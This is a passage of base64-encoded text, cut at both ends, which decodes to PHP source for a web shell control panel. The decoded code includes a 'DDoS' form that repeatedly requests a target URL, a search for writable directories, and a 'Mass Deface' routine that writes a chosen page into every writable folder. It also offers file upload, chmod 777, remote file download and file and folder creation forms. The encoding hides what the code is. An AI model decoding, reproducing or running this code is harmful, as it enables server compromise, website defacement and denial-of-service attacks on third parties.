6ZT01MD4gVGltZSA6IDxpbnB1dCBuYW1lPXRpbWVkZDAgc2l6ZT02IHZhbHVlPTQwMDAwPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRERvUyAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfQ0KDQppZigkX0dFVFsndXJsZGQwJ10gJiYgJF9HRVRbJ3RpbWVkZDAnXSl7DQpmb3IgKCRpZD0wOyQkaWQ8JF9HRVRbJ3RpbWVkZDAnXTskaWQrKyl7DQokZnA9bnVsbDsNCiRjb250ZW50cz1udWxsOw0KJGZwPWZvcGVuKCRfR0VUWyd1cmxkZDAnXSwicmIiKTsNCndoaWxlICghZmVvZigkZnApKSB7DQogICRjb250ZW50cyAuPSBmcmVhZCgkZnAsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcCk7DQp9fQ0KaWYoJF9HRVRbJ2RvJ109PSJkbGZpbGUiKXsNCmVjaG8gJGhlYWQuJGZvcm1wLiRub3dhZGRyZXNzLic8cCBhbGlnbj0iY2VudGVyIj5Eb3dubG9hZCBSZW1vdGUgRmlsZSE8YnI+QWRkcmVzcyA6IDxpbnB1dCBuYW1lPWFkbHIgc2l6ZT03MD48YnI+U2F2ZSBUbyA6IDxpbnB1dCBuYW1lPWFkc3IgdmFsdWU9Jy5nZXRjd2QoKS4kc2xhc2guJyBzaXplPTcwPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRG93bmxvYWQgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmZ1bmN0aW9uIGRpcnBlKCRhZGRyZXMpew0KZ2xvYmFsICRzbGFzaDsNCiRpZGQ9MDsNCmlmICgkZGlyaGVuID0gQG9wZW5kaXIoJGFkZHJlcykpIHsNCndoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRpcmhlbikpIHsNCiRwZXJtZGlyPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRhZGRyZXMuJHNsYXNoLiRmaWxlKTsNCmlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRwZXJtZGlyKSl7DQppZiAoaXNfd3JpdGFibGUoJHBlcm1kaXIpKSB7DQokZGlyZGF0YVskaWRkXVsnZmlsZW5hbWUnXT0kcGVybWRpcjsgDQokaWRkKys7DQp9DQpkaXJwZSgkcGVybWRpcik7DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoJGRpcmhlbik7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICgibm90cGVybSIpOw0KCX0NCglpZiAoJGRpcmRhdGEpew0KCXJldHVybiAkZGlyZGF0YTsNCgl9ZWxzZXsNCgkJcmV0dXJuICJub3Rmb3VuZCI7DQoNCgl9DQp9DQpmdW5jdGlvbiBkaXJwbWFzcygkYWRkcmVzLCRtYXNzbmFtZSwkbWFzc3NvdXJjZSl7DQpnbG9iYWwgJHNsYXNoOw0KJGlkZD0wOw0KaWYgKCRkaXJoZW4gPSBAb3BlbmRpcigkYWRkcmVzKSkgew0Kd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGlyaGVuKSkgew0KJHBlcm1kaXI9c3RyX3JlcGxhY2UoJy8vJywnLycsJGFkZHJlcy4kc2xhc2guJGZpbGUpOw0KaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJHBlcm1kaXIpKXsNCmlmIChpc193cml0YWJsZSgkcGVybWRpcikpIHsNCmlmICgkZm09Zm9wZW4oJHBlcm1kaXIuJHNsYXNoLiRtYXNzbmFtZSwidyIpKXsNCmZ3cml0ZSgkZm0sJG1hc3Nzb3VyY2UpOw0KZmNsb3NlKCRmbSk7DQokZGlyZGF0YVskaWRkXVsnZmlsZW5hbWUnXT0kcGVybWRpcjsgDQp9DQoNCiRpZGQrKzsNCn0NCmRpcnBtYXNzKCRwZXJtZGlyKTsNCgkJCX0NCgkJfQ0KCQljbG9zZWRpcigkZGlyaGVuKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gKCJub3RwZXJtIik7DQoJfQ0KCWlmICgkZGlyZGF0YSl7DQoJcmV0dXJuICRkaXJkYXRhOw0KCX1lbHNlew0KCQlyZXR1cm4gIm5vdGZvdW5kIjsNCg0KCX0NCn0NCmlmKCRfR0VUWydkbyddPT0icGVybSIpew0KZWNobyAkaGVhZC4kZm9ybXAuJzxwIGFsaWduPSJjZW50ZXIiPkZpbmQgQWxsIEZvbGRlciBXcml0ZWFibGU8YnI+IDxpbnB1dCBuYW1lPWFmZncgdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiciIHNpemU9NTA+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBTZWFyY2ggICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmICgkX1BPU1RbJ2FmZncnXSl7DQokYXJyZmlsZWxpc3Q9ZGlycGUoJF9QT1NUWydhZmZ3J10pOw0KaWYgKCRhcnJmaWxlbGlzdD09J25vdGZvdW5kJyl7DQphbGVydCgiTm90IEZvdW5kICEiKTsNCn1lbHNlaWYoJGFycmZpbGVsaXN0PT0nbm90cGVybScpew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFycmZpbGVsaXN0IGFzICR0bXBkaXIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInO30NCiRjb2krKzsNCiRwZXJtZGlyPSRwZXJtZGlyLic8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgYmdjb2xvcj0nLiRjb2xvcnQuJyB3aWR0aD0iOTUwIiBoZWlnaHQ9IjIwIiBkaXI9Imx0ciI+DQo8dHI+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iODQyIj48cCBhbGlnbj0ibGVmdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/YWRkcmVzcz0nLiR0bXBkaXJbJ2ZpbGVuYW1lJ10uJyI+PGI+Jy4kdG1wZGlyWydmaWxlbmFtZSddLic8L2I+PC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI2NSI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PC90cj48L3RhYmxlPic7DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kcGVybWRpci4nPC90YWJsZT4NCjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyZWN0b3J5PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPlVwbG9hZCAtLS0mZ3Q7ICZuYnNwOzwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb3JtIGFjdGlvbj0iJy4kbWUuJyIgbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPicuJG5vd2FkZHJlc3MuJw0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij48aW5wdXQgc2l6ZT00MCB0eXBlPWZpbGUgbmFtZT1maWxlZSA+IA0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVVwbG9hZCAvPjxicj4nLiRpZnVwbG9hZC4nPC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NobW9kIC0tLS0mZ3Q7PC9iPiZuYnNwOyZuYnNwO0ZpbGUgOiA8L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0vbm93Mi5waHA+PGlucHV0IHNpemU9NTUgbmFtZT1jaG1vZGU+Jm5ic3A7Jm5ic3A7UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPWNobW9kbnVtIHZhbHVlPTc3NyBzaXplPTM+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIE9rICI+PC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NyZWF0ZSBEaXIgLS0tLSZndDs8L2I+IERpcmN0b3J5IE5hbWUgPC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBuYW1lPWNkaXJuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPicuJGZvcm1wLic8Yj5DcmVhdGUgRmlsZSAtLS0tJmd0OzwvYj4gTmFtZSBGaWxlIDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGlucHV0IG5hbWU9Y2ZpbGVuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4nLiRmb3JtcC4nPGI+Q29weSAtLS0tJmd0OzwvYj48L2I+Jm5ic3A7Jm5ic3A7RmlsZSA6IDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBzaXplPTQwIG5hbWU9Y29weW5hbWU+IFRvIERpcmVjdG9yeSA8aW5wdXQgc2l6ZT00MCBuYW1lPWNweXRvPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+Jy4kZW5kO2V4aXQ7DQp9fQ0KaWYoJF9HRVRbJ2RvJ109PSJtYXNzIil7DQplY2hvICRoZWFkLiRmb3JtcC4nPHAgYWxpZ249ImNlbnRlciI+W01hc3MgRGVmYWNlXTxicj48aW5wdXQgbmFtZT1tZmZ3IHZhbHVlPSInLmdldGN3ZCgpLiRzbGFzaC4nIiBzaXplPTUwPjxpbnB1dCBuYW1lPW1hc3NuYW1lIHZhbHVlPSJkZWYuaHRtIiBzaXplPTEwPjxicj48dGV4dGFyZWEgbmFtZT1tYXNzc291cmNlIGNvbHM9NjAgcm93cz0xOD5Tb3VyY2U8L3RleHRhcmVhPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgTWFzcyAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfQ0KaWYgKCRfUE9TVFsnbWZmdyddKXsNCiRhcnJmaWxlbGlzdD1kaXJwbWFzcygkX1BPU1RbJ21mZncnXSwkX1BPU1RbJ21hc3NuYW1lJ10sJF9QT1NUWydtYXNzc291cmNlJ10pOw0KaWYgKCRhcnJmaWxlbGlzdD09J25vdGZvdW5kJyl7DQphbGVydCgiTm90IEZvdW5kICEiKTsNCn1lbHNlaWYoJGFycmZpbGVsaXN0PT0nbm90cGVybScpew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFycmZpbGVsaXN0IGFzICR0bXBkaXIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInO30NCiRjb2krKzsNCiRwZXJtZGlyPSRwZXJtZGlyLic8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgYmdjb2xvcj0nLiRjb2xvcnQuJyB3aWR0aD0iOTUwIiBoZWlnaHQ9IjIwIiBkaXI9Imx0ciI+DQo8dHI+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iODQyIj48cCBhbGlnbj0ibGVmdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/YWRkcmVzcz0nLiR0bXBkaXJbJ2ZpbGVuYW1lJ10uJyI+PGI+Jy4kdG1wZGlyWydmaWxlbmFtZSddLic8L2I+PC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI2NSI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PC90cj48L3RhYmxlPic7DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kcGVybWRpci4nPC90YWJsZT4NCjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyZWN0b3J5PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPlVwbG9hZCAtLS0mZ3Q7ICZuYnNwOzwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb3JtIGFjdGlvbj0iJy4kbWUuJyIgbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPicuJG5vd2FkZHJlc3MuJw0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij48aW5wdXQgc2l6ZT00MCB0eXBlPWZpbGUgbmFtZT1maWxlZSA+IA0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVVwbG9hZCAvPjxicj4nLiRpZnVwbG9hZC4nPC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NobW9kIC0tLS0mZ3Q7PC9iPiZuYnNwOyZuYnNwO0ZpbGUgOiA8L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0vbm93Mi5waHA+PGlucHV0IHNpemU9NTUgbmFtZT1jaG1vZGU+Jm5ic3A7Jm5ic3A7UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPWNobW9kbnVtIHZhbHVlPTc3NyBzaXplPTM+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIE9rICI+PC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NyZWF0ZSBEaXIgLS0tLSZndDs8L2I+IERpcmN0b3J5IE5hbWUgPC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBuYW1lPWNkaXJuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPicuJGZvcm1wLic8Yj5DcmVhdGUgRmlsZSAtLS0tJmd0OzwvYj4gTmFtZSBGaWxlIDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGlucHV0IG5hbWU9Y2ZpbGVuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN